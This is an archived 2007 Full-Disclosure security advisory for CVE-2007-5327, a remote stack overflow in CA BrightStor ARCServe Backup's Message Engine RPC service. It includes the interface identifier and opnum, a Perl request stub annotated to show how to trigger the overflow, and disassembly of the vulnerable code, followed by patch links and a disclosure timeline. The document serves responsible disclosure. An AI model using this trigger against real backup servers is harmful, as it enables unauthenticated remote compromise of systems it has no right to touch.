[Full-disclosure] [UPDATE]CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

2007-12-06T00:00:00
ID SECURITYVULNS:DOC:18582
Type securityvulns
Reporter Securityvulns
Modified 2007-12-06T00:00:00

Description

[UPDATE]CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

by cocoruder(frankruder_at_hotmail.com) http://ruder.cdut.net, updated on 2007.12.06

Summary:

A remote stack overflow vulnerability exist in the RPC interface

of CA BrightStor ARCServe BackUp. An arbitrary anonymous attacker can execute arbitrary code on the affected system by exploiting this vulnerability.

Affected Software Versions:

CA BrightStor ARCServe BackUp R11.5

Details:

The flaw specifically exits within the CA BrightStor Message

Engine due to incorrect handling of RPC requests on TCP port 6504. The interface is identified by 506b1890-14c8-11d1-bbc3-00805fa6962e v1.0. Opnum 0x10d specifies the vulnerable operation within this interface.

Function 0x10d's IDL as follows:

long   sub_28EA5F70 (
 [in] handle_t  arg_1,
 [in, out][size_is(256), length_is(1)] struct struct_2 * arg_2,
 [in][string] char * arg_3,
 [in][string] char * arg_4,
 [in][string] char * arg_5,
 [in][string] char * arg_6,
 [in][string] char * arg_7,
 [in] long  arg_8,
 [out][size_is(arg_1)] byte * arg_9
);

The following is the normal stub of this function:

my $stub=
"\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x10\x00\x00\x00\x00\x00\x00\x00".            #point1: the

victim's computer name "\x10\x00\x00\x00". "kkk-49ade5b31c1". "\x00".

"\x09\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00".    #point2: a

string,set it long "Database". "\x00\x00\x00\x00".

"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00".

"\x1a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00".
"RemoteDatabaseMachineName".
"\x00\x00\x00".

"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x00\x79\x49\x6e\x40\x00\x00\x00";


When we set #point1 equal to the victim's computer name, and set

point2 is a long string, there will cause a stack base overflow

vulnerability. The vulnerable code as follows:

.text:25604EF8                 lea     edx, [esp+120h+SubKey]
.text:25604EFC                 push    offset asc_2561E2BC
.text:25604F01                 push    edx            ;
.text:25604F02                 call    edi ; lstrcatA        ;
.text:25604F04                 lea     eax, [esp+120h+SubKey]
.text:25604F08                 push    esi            ;
.text:25604F09                 push    eax
.text:25604F0A                 call    edi ; lstrcatA        ; overflow!

Solution:

CA has released an advisory for this vulnerability which is available on:

http://supportconnectw.ca.com/public/storage/infodocs/basb-secnotice.asp

Fortinet advisory can be found at:

http://www.fortiguardcenter.com

CVE Information:

CVE-2007-5327

Disclosure Timeline:

2007.04.11        Vendor notified via email
2007.04.12        Vendor responded
2007.10.11        Final public disclosure
2007.10.15        The vendor's patch has not fixed the

vulnerability, notifiy again 2007.11.29 Recevie the vendor's new patch 2007.12.04 Confirm the lastest patch successfully 2007.12.06 Advisory updated

--EOF--


Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/